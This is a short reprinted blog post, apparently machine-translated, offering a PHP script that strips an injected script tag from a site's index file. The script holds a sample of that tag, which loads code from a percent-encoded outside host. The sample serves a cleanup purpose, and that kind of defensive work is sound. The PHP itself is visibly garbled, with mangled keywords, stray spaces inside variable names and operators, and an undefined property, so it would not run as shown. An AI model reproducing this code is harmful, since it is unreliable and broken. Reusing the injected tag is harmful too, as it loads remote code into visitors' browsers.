How to clear webpage viruses

Nowadays, the crazy webpage virus code often causes your website to suffer from webpage virus code, and my company server also encounters the same problem, in the morning, I wrote a php program to clear web page viruses. The principle is that this program will be called every time I access it, check whether the reading of an index file is toxic. If so, replace the execution program with the virus. It's just a temporary solution. I hope you can come up with a more advanced solution.

<? Php
Class clear_virus {
Public $ index using 'B .html ';
Public $ filepath javasarray(' B .html ');
Public $ virus_type = "<script src = http: // % 61% 76% 65% 33% 2E % 63% 6E> </script> ";

Function open_file (){
If (file_exists ($ this-> index )){
$ Tmp = file_get_contents ($ this-> index );
If (strrpos ($ tmp, $ this-> virus_type )! = False ){
$ Temp = str_replace ($ this-> virus_type, '', $ tmp );
$ Handle = fopen ($ this-> index, 'w ');
Fwrite ($ handle, $ temp );
Fclose ($ handle );
} Else {
Echo $ this-> virus_find;
}
}
}

}
 
$ Virus = new clear_virus;
$ Virus-> open_file ();
?>
For original site reprinted, please note: www.111cn.cn/phper/php.html